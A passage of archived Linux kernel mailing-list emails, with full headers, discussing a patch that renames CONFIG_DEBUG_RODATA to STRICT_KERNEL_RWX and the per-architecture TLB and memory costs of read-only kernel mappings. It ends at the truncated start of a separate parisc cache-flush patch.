         7tsiALjT7JqL/K/yef5ErXyu2SUnIjSEEU69Wc6nYHNMO8DkZtod+1Dhg5jt4b/I1teR
         YxKWLxJf3Xv6e50Ai+inLMZxGhz1kdMtyMP07IFYqL9SUAn2NZCJgrpmJH3sWwaMkzBB
         6eZb2TtURtxRlIrWYsh5WJhK4NzWhTX2aM42UEe7PvTGjkUZdXYtWM2nMWLSBIDwJKKQ
         wrfg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=LqozzfI22SGa3iw8wVY1XNkfFvmQUevPJT2cK3wr0GY=;
        b=mxoabt8uEf8L1NNLPcrTnj7jHUhJO1RZ5c2hZlWaOTlxJNG/sPb8RN/x0blc7uO8dO
         o4N1IRgCBDHsQjG4XuzR8ejwmXHGTYdTsc0Pspnami8Dn3RYkpN+PIABoWrzVx44XCa0
         6R1w8H1j6RFviHaP1oI5mmK6T3hGTyDa8k0Rc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=LqozzfI22SGa3iw8wVY1XNkfFvmQUevPJT2cK3wr0GY=;
        b=C4+JyVyZw2TKOG+Unh57HHlirBr26k7DSGNFpHnNtfakmbd/RojL7enpKkai7A8g/G
         btKvz14RMhA0DoqbiSlexJrQG7hSp0jjLSmSDSBQ3wWkImSfEWRJheKkKcjzpfB0rj05
         7FZR5x18+s0gDbyWEWJQ2e3jWVGEOrkUY2Lnvq+Ck17mAMkYmvjQR9kP31gGDswBnVVe
         YakG9zlH4j85kVC/K4vu7q7k5gbXe617CbA3oSiuRgnxwyrHpQfLn68+8D/pvDLJfPj1
         mTUOinSPeCw9/DG2W0EMsNgDqow2oZi7FAc5Z+LY9o6VjremkZUiOH/wkiLeQrPBNP7y
         sTyw==
X-Gm-Message-State: AMke39lFmSXfEfFfC3MgdiYHw8UjTs1CIIPGp4RJu5Zcf06F+mkupfmEdHvBwu/1wGmx3N5ADYvRF7FaWREbrbt5
X-Received: by 10.107.180.8 with SMTP id d8mr4930191iof.101.1487293700950;
 Thu, 16 Feb 2017 17:08:20 -0800 (PST)
Original-Received: by 10.107.143.138 with HTTP; Thu, 16 Feb 2017 17:08:20 -0800 (PST)
In-Reply-To: <20170216222529.GA7531@amd>
X-Google-Sender-Auth: eE1CsfErTu63WP3gTjtKS2chzPg
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:86627 gmane.linux.documentation:45003 gmane.linux.kernel.hardened.devel:5888 gmane.linux.ports.arm.kernel:559647 gmane.linux.ports.parisc:27277 gmane.linux.kernel:2413271
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/86627>

On Thu, Feb 16, 2017 at 2:25 PM, Pavel Machek <pavel@ucw.cz> wrote:
> Hi!
>
>>
>> -config DEBUG_RODATA
>> +config STRICT_KERNEL_RWX
>>       bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
>>       depends on ARCH_HAS_STRICT_KERNEL_RWX
>>       default !ARCH_OPTIONAL_KERNEL_RWX ||
>
> Debug features are expected to have runtime cost, so kconfig help is
> silent about those. But there are runtime costs, right? It would be
> nice to mention them in the help text...

It depends on the architecture. The prior help text for arm said:

         The tradeoff is that each region is padded to section-size (1MiB)
         boundaries (because their permissions are different and splitting
         the 1M pages into 4K ones causes TLB performance problems), which
         can waste memory.

parisc (somewhat inaccurately) said:

         This option may have a slight performance impact because a
         portion of the kernel code won't be covered by a TLB anymore.

IIUC, arm64 does what parisc is hinting at: mappings at the end are
broken down to PAGE_SIZE. On x86, IIUC, there's actually no change to
TLB performance due to how the mappings are already set up.

I'm not sure the best way to express this in the new help text. Do you
have some suggestions on wording? Personally, I don't really think
it's worth mentioning this in Kconfig help, which, in theory, is
supposed to limit how technical it gets. And I think the performance
impact is almost entirely negligible compared to the risks addressed.

-Kees

-- 
Kees Cook
Pixel Security


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel
Subject: Re: [PATCHv3 2/2] arch: Rename CONFIG_DEBUG_RODATA and
 CONFIG_DEBUG_MODULE_RONX
Date: Fri, 17 Feb 2017 09:22:44 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <fe5a4a8c-6f5d-126d-abd9-025e9ff97351@gmx.de>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
 <1486427518-14819-3-git-send-email-labbott@redhat.com>
 <20170216222529.GA7531@amd>
 <CAGXu5jJ4FD=6HLK_21T079JrO569DwWBTeiD18x3WRrYBsaAqw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1487319814 19875 195.159.176.226 (17 Feb 2017 08:23:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Feb 2017 08:23:34 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.7.0
Cc: Laura Abbott <labbott@redhat.com>, Mark Rutland <mark.rutland@arm.com>,
 "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "H. Peter Anvin" <hpa@zytor.com>,
 "kernel-hardening@lists.openwall.com" <kernel-hardening@lists.openwall.com>,
 Rob Herring <robh@kernel.org>, Jessica Yu <jeyu@redhat.com>,
 Jonathan Corbet <corbet@lwn.net>, "x86@kernel.org" <x86@kernel.org>,
 Russell King <linux@armlinux.org.uk>, Ingo Molnar <mingo@redhat.com>,
 Len Brown <len.brown@intel.com>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 Will Deacon <will.deacon@arm.com>, Thomas Gleixner <tglx@linutronix.de>,
 "linux-arm-kernel@lists.infradead.org"
 <linux-arm-kernel@lists.infradead.org>,
 linux-parisc <linux-parisc@vger.kernel.org>,
 Linux PM list <l
To: Kees Cook <keescook@chromium.org>, Pavel Machek <pavel@ucw.cz>
Original-X-From: kernel-hardening-return-6738-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Fri Feb 17 09:23:25 2017
Return-path: <kernel-hardening-return-6738-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6738-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cedp5-0004Ki-6J
	for glkh-kernel-hardening@m.gmane.org; Fri, 17 Feb 2017 09:23:23 +0100
Original-Received: (qmail 5492 invoked by uid 550); 17 Feb 2017 08:23:26 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 5474 invoked from network); 17 Feb 2017 08:23:26 -0000
In-Reply-To: <CAGXu5jJ4FD=6HLK_21T079JrO569DwWBTeiD18x3WRrYBsaAqw@mail.gmail.com>
X-Provags-ID: V03:K0:F2mdACu6UmoA+gq7dFzhomDgqqrbpY90oIswtRRACRZ6CNvpr46
 XvekghCHN/hfSQyv2RK501TEAn2qgNw0XkHzFyNiAkeRky78QrgaQi2iVALUB2qLUAtTHt6
 K0l+U6fh8QmX5QuXV3NNdEG2CVkkcBXuF7MRWKNa7lgwTa/kroBTPYgVj4+rnG3bsnJfzcu
 /cOqSNNr0r4/yfrmw+wXA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:m8DT7OqdcfY=:xPyhpt12BXFLNP7Upgub8s
 PNk91Xe6ocMJ5mLKIDggKa2lNlFOoMQNTRCEY57roYAGkIx4c6zeUIqDi611wDkkx6o41nhKt
 3/ykwDY1WxP4fQMeEpb+t60R7tOL0srt2XARmxsw71AcKzsY3rbijGVBkUUc7bOgDby6y4ni3
 Nem8WUAsb0eF5sHyEqhEn26aBMgWfDQ/pnUHHjALgXYc3yHsK/XAb6bJK4quFhqv5hsxaOGSw
 5QwY7e2+7bVuwzjgRpwpFPvKOHWVnAyJs/8adBi1+SeAZnVGl5gYJSrssbNMEJhH2pAmJDDwQ
 lW8KaQx5Lz4t342pITvb24O9OIW7xqcceK0DDNfTX5hZ65IMNN3HKJibFabIcPBhuDOGOzJYy
 +tdkV+q0hRdvuAjDH/a4/typLX43aGyCmjUaZwae89mZjm0c0qd/Ef7Jmz6Q0JgVd2RSCTd26
 21N0+7b4US7JfzJcdpAcBVV6j2sE28kO79pPEW9rW/bW43lv5d79sfblGQT3ztiHHGs8fx2fC
 fFcXPTYlZuM819V9kJLAISTFu0BhRd6HVCuFL9Szzpkq+FrdOEuqwRUoGa7cbpaIVwk9cl5wT
 FeqSuDmdPAQhZ8g7Y6NNiiC+chYIUupZqe/1nQGkpprRpVKY4vM4qW4ak56Cvrsd9aD+lkW92
 ObW5rjByDaxiBvj8R2shSJVLVvjMbSA9cY41g4eiLq28koOY4SUrOEZwpTDScRGdb8vSiNznB
 FRl7Z2hMmwhDtP9klZMw6fdZy7zEaQLW5LfrSLsHdDPwJziO2gcWB9rjf6YhTUtNag7lW5ZA 
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5891 gmane.linux.documentation:45004 gmane.linux.ports.arm.kernel:559679 gmane.linux.ports.parisc:27278 gmane.linux.power-management.general:86633 gmane.linux.kernel:2413457
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5891>

On 17.02.2017 02:08, Kees Cook wrote:
> On Thu, Feb 16, 2017 at 2:25 PM, Pavel Machek <pavel@ucw.cz> wrote:
>> Hi!
>>
>>>
>>> -config DEBUG_RODATA
>>> +config STRICT_KERNEL_RWX
>>>       bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
>>>       depends on ARCH_HAS_STRICT_KERNEL_RWX
>>>       default !ARCH_OPTIONAL_KERNEL_RWX ||
>>
>> Debug features are expected to have runtime cost, so kconfig help is
>> silent about those. But there are runtime costs, right? It would be
>> nice to mention them in the help text...
> 
> It depends on the architecture. The prior help text for arm said:
> 
>          The tradeoff is that each region is padded to section-size (1MiB)
>          boundaries (because their permissions are different and splitting
>          the 1M pages into 4K ones causes TLB performance problems), which
>          can waste memory.
> 
> parisc (somewhat inaccurately) said:
> 
>          This option may have a slight performance impact because a
>          portion of the kernel code won't be covered by a TLB anymore.

The logic on parisc is actually:
If huge page support is enabled, we map 1MB pages (and behave like arm wrt alignments).
If huge page support is disabled we stay at 4k/PAGE_SIZE pages (without 1M alignment).
 
> IIUC, arm64 does what parisc is hinting at: mappings at the end are
> broken down to PAGE_SIZE. 

On parisc we never implemented that.

> On x86, IIUC, there's actually no change to
> TLB performance due to how the mappings are already set up.
> 
> I'm not sure the best way to express this in the new help text. Do you
> have some suggestions on wording? Personally, I don't really think
> it's worth mentioning this in Kconfig help,

I agree on this.

> which, in theory, is
> supposed to limit how technical it gets. And I think the performance
> impact is almost entirely negligible compared to the risks addressed.

Helge


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mark Rutland <mark.rutland@arm.com>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel.hardened.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCHv3 2/2] arch: Rename CONFIG_DEBUG_RODATA and
 CONFIG_DEBUG_MODULE_RONX
Date: Fri, 17 Feb 2017 18:23:13 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <20170217182313.GB25876@leverpostej>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
 <1486427518-14819-3-git-send-email-labbott@redhat.com>
 <20170216222529.GA7531@amd>
 <CAGXu5jJ4FD=6HLK_21T079JrO569DwWBTeiD18x3WRrYBsaAqw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1487355812 12908 195.159.176.226 (17 Feb 2017 18:23:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Feb 2017 18:23:32 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Pavel Machek <pavel@ucw.cz>, Laura Abbott <labbott@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "kernel-hardening@lists.openwall.com" 
        <kernel-hardening@lists.openwall.com>,
        Rob Herring <robh@kernel.org>, Jessica Yu <jeyu@redhat.com>,
        Jonathan Corbet <corbet@lwn.net>, Helge Deller <deller@gmx.de>,
        "x86@kernel.org" <x86@kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Ingo Molnar <mingo@redhat.com>,
        Len Brown <len.brown@intel.com>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Will Deacon <will.deacon@arm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-pm-owner@vger.kernel.org Fri Feb 17 19:23:25 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1cenBl-0002oM-Bd
	for gll-linux-pm2@m.gmane.org; Fri, 17 Feb 2017 19:23:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934747AbdBQSX3 (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Fri, 17 Feb 2017 13:23:29 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:58688 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S934232AbdBQSX1 (ORCPT <rfc822;linux-pm@vger.kernel.org>);
        Fri, 17 Feb 2017 13:23:27 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id D398E28;
        Fri, 17 Feb 2017 10:23:21 -0800 (PST)
Original-Received: from leverpostej (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id BF3A43F578;
        Fri, 17 Feb 2017 10:23:17 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <CAGXu5jJ4FD=6HLK_21T079JrO569DwWBTeiD18x3WRrYBsaAqw@mail.gmail.com>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:86657 gmane.linux.documentation:45048 gmane.linux.kernel.hardened.devel:5899 gmane.linux.ports.arm.kernel:559897 gmane.linux.ports.parisc:27279 gmane.linux.kernel:2413914
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/86657>

On Thu, Feb 16, 2017 at 05:08:20PM -0800, Kees Cook wrote:
> On Thu, Feb 16, 2017 at 2:25 PM, Pavel Machek <pavel@ucw.cz> wrote:
> > Hi!
> >
> >>
> >> -config DEBUG_RODATA
> >> +config STRICT_KERNEL_RWX
> >>       bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
> >>       depends on ARCH_HAS_STRICT_KERNEL_RWX
> >>       default !ARCH_OPTIONAL_KERNEL_RWX ||
> >
> > Debug features are expected to have runtime cost, so kconfig help is
> > silent about those. But there are runtime costs, right? It would be
> > nice to mention them in the help text...
> 
> It depends on the architecture. The prior help text for arm said:
> 
>          The tradeoff is that each region is padded to section-size (1MiB)
>          boundaries (because their permissions are different and splitting
>          the 1M pages into 4K ones causes TLB performance problems), which
>          can waste memory.
> 
> parisc (somewhat inaccurately) said:
> 
>          This option may have a slight performance impact because a
>          portion of the kernel code won't be covered by a TLB anymore.
> 
> IIUC, arm64 does what parisc is hinting at: mappings at the end are
> broken down to PAGE_SIZE. On x86, IIUC, there's actually no change to
> TLB performance due to how the mappings are already set up.

On arm64, we split down to page granularity if needed, but use the
largest possible mapping we can (e.g. if we can use a 2M block, we do).

Because of the way we freed the init area, we already couldn't use
larger mappings anyway. Applying the strict permissions didn't come at a
measureable overhead in any real testing.

> I'm not sure the best way to express this in the new help text. Do you
> have some suggestions on wording? Personally, I don't really think
> it's worth mentioning this in Kconfig help, which, in theory, is
> supposed to limit how technical it gets. And I think the performance
> impact is almost entirely negligible compared to the risks addressed.

I also don't see much point in describing some hypothetical architecture
specific overhead here. In most cases this can't be turned off (so there
isn't anything to comapre it to, and hence no cost). Where people want
to turn it off, they already know why they wish to do so.

Thanks,
Mark.


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel
Subject: Re: [PATCHv3 2/2] arch: Rename CONFIG_DEBUG_RODATA and
 CONFIG_DEBUG_MODULE_RONX
Date: Mon, 20 Feb 2017 08:21:30 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20170220072130.GB8974@gmail.com>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
 <1486427518-14819-3-git-send-email-labbott@redhat.com>
 <20170216222529.GA7531@amd>
 <CAGXu5jJ4FD=6HLK_21T079JrO569DwWBTeiD18x3WRrYBsaAqw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1487575312 17824 195.159.176.226 (20 Feb 2017 07:21:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 20 Feb 2017 07:21:52 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: Pavel Machek <pavel@ucw.cz>, Laura Abbott <labbott@redhat.com>,
	Mark Rutland <mark.rutland@arm.com>,
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	"H. Peter Anvin" <hpa@zytor.com>,
	"kernel-hardening@lists.openwall.com" <kernel-hardening@lists.openwall.com>,
	Rob Herring <robh@kernel.org>, Jessica Yu <jeyu@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>, Helge Deller <deller@gmx.de>,
	"x86@kernel.org" <x86@kernel.org>,
	Russell King <linux@armlinux.org.uk>,
	Ingo Molnar <mingo@redhat.com>, Len Brown <len.brown@intel.com>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Will Deacon <will.deacon@arm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	"linux-arm-kernel@lists.infradead.org" <linux-arm-kernel@lists.infradead.org>,
	l
To: Kees Cook <keescook@chromium.org>
Original-X-From: kernel-hardening-return-6777-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Mon Feb 20 08:21:45 2017
Return-path: <kernel-hardening-return-6777-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6777-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cfiI3-0003hS-C7
	for glkh-kernel-hardening@m.gmane.org; Mon, 20 Feb 2017 08:21:43 +0100
Original-Received: (qmail 1866 invoked by uid 550); 20 Feb 2017 07:21:46 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 1842 invoked from network); 20 Feb 2017 07:21:45 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=en8x1xyFDF5wQPOGnbdBpIf4vLAG4bgZhQid+UKk72E=;
        b=TZSKsmY/OnhneEy1C7NF7ArrmO/4vnDN9XW+HPK5OlWBc6DuCz5nL7lPrWK/FgZ2HZ
         MrigTb+EYuaQBkw6U7akAaR8AGrCg00bpzUw7fCh6CnoeiD7ypQdnURi4QSNATYdt/MX
         0A89FSqz50aIL1V+fLxLDY5GUKB3D4e6/7+bgFAsdUBwtRKAwJ3nRBHUviCEatBBr370
         oObf40wn3Qrqto6Ac10qjQ2MffFHEmCyjCSy4oTkVOnk/gfOG2m5vICg+qICglrXEY8Z
         u+5voQCIBfTmi0cP4b2plZanxTcc4yHoW3vZv4A/jb+nqnQesJo1jXPWarf1UikzQGR2
         /g4g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent;
        bh=en8x1xyFDF5wQPOGnbdBpIf4vLAG4bgZhQid+UKk72E=;
        b=RNNNMpWYDFh9KFUCZechBMdu9L3Okai9WAPKM/nPyIVP4e2g8vemBUpFgLdKhXHty5
         L6c3R1aSQsLR8eOt8/yBM7V00PHwxcHWa8HIdokd8DJolIPfERxSXHS6gda287Hko4mF
         9G8Aj2/0BDGJU719rVzE6PR3l1qftsY4rs1XWYnKUo5+2eqaD5XH+9a1VPPls1Q5KnVn
         u4CLcsYcld5+bCgEMed5JLaLi61hw+bWjUKOpRyeVCgpkABxq0G5S7FkdrNqCYIpUVSm
         WoKxuYvUzAa2eaoIQsUdKCwddVrId8Xxup+qb971m9SlrRnAn/q3bDt/KVuGjF9evEva
         34XA==
X-Gm-Message-State: AMke39lYDmgLQc+K8ubne9XKUkdZZ19tedTlDsbEUiZilMSzLVe4pKX0lR/zLqxtdUHMCA==
X-Received: by 10.223.137.2 with SMTP id s2mr16195580wrs.20.1487575294520;
        Sun, 19 Feb 2017 23:21:34 -0800 (PST)
Original-Sender: Ingo Molnar <mingo.kernel.org@gmail.com>
Content-Disposition: inline
In-Reply-To: <CAGXu5jJ4FD=6HLK_21T079JrO569DwWBTeiD18x3WRrYBsaAqw@mail.gmail.com>
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5930 gmane.linux.documentation:45057 gmane.linux.ports.arm.kernel:560050 gmane.linux.ports.parisc:27280 gmane.linux.power-management.general:86699 gmane.linux.kernel:2414689
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5930>


* Kees Cook <keescook@chromium.org> wrote:

> On Thu, Feb 16, 2017 at 2:25 PM, Pavel Machek <pavel@ucw.cz> wrote:
> > Hi!
> >
> >>
> >> -config DEBUG_RODATA
> >> +config STRICT_KERNEL_RWX
> >>       bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
> >>       depends on ARCH_HAS_STRICT_KERNEL_RWX
> >>       default !ARCH_OPTIONAL_KERNEL_RWX ||
> >
> > Debug features are expected to have runtime cost, so kconfig help is
> > silent about those. But there are runtime costs, right? It would be
> > nice to mention them in the help text...
> 
> It depends on the architecture. The prior help text for arm said:
> 
>          The tradeoff is that each region is padded to section-size (1MiB)
>          boundaries (because their permissions are different and splitting
>          the 1M pages into 4K ones causes TLB performance problems), which
>          can waste memory.
> 
> parisc (somewhat inaccurately) said:
> 
>          This option may have a slight performance impact because a
>          portion of the kernel code won't be covered by a TLB anymore.
> 
> IIUC, arm64 does what parisc is hinting at: mappings at the end are
> broken down to PAGE_SIZE. On x86, IIUC, there's actually no change to
> TLB performance due to how the mappings are already set up.

BTW., a good strategy with RAM sizes above say 4GB would be to just round up to 
the next large-TLB boundary (2MB) and waste 0-2MB of RAM - which is only 0.05% of 
4GB of RAM. On most workloads, especially with SSDs it's probably a positive RAM 
vs. performance trade-off.

Thanks,

	Ingo


From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Remove flush_user_dcache_range and flush_user_icache_range
Date: Mon, 20 Feb 2017 14:02:46 -0500
Lines: 124
Approved: news@gmane.org
Message-ID: <03680F6B-3051-49E9-904E-74AB3B52FFA5@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-8-356541916
X-Trace: blaine.gmane.org 1487617381 18685 195.159.176.226 (20 Feb 2017 19:03:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 20 Feb 2017 19:03:01 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 20 20:02:57 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cftEc-0005ta-WE
	for glpp-linux-parisc@m.gmane.org; Mon, 20 Feb 2017 20:02:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750936AbdBTTDB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 20 Feb 2017 14:03:01 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:52784 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750868AbdBTTDA (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 20 Feb 2017 14:03:00 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170220190246.ZZHD28265.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 20 Feb 2017 14:02:46 -0500
Original-Received: from [192.168.2.10] (really [174.91.91.98]) by torspm01.bell.net
          with ESMTP
          id <20170220190246.LQLY4115.torspm01.bell.net@[192.168.2.10]>;
          Mon, 20 Feb 2017 14:02:46 -0500
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=CLPFZVjD c=1 sm=0 tr=0 a=TtiWKAa0zRZPSxrq3ipeaA==:17 a=n2v9WMKugxEA:10 a=FBHGMhGWAAAA:8 a=MUmLDS4OV6xsVDZGDTcA:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=bHF0H0-Ug1baC8XFkh8A:9 a=_0TVbFRgxKG-9LMb:21 a=sskxFXfNT5dFG0ZN:21 a=Ld372NDzu18A:10 a=CTwWI_8SlGQyalyz8_QA:9 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27281
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27281>


--Apple-Mail-8-356541916
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The functions flush_user_dcache_range() and flush_user_icache_range() =
are only used by the parisc
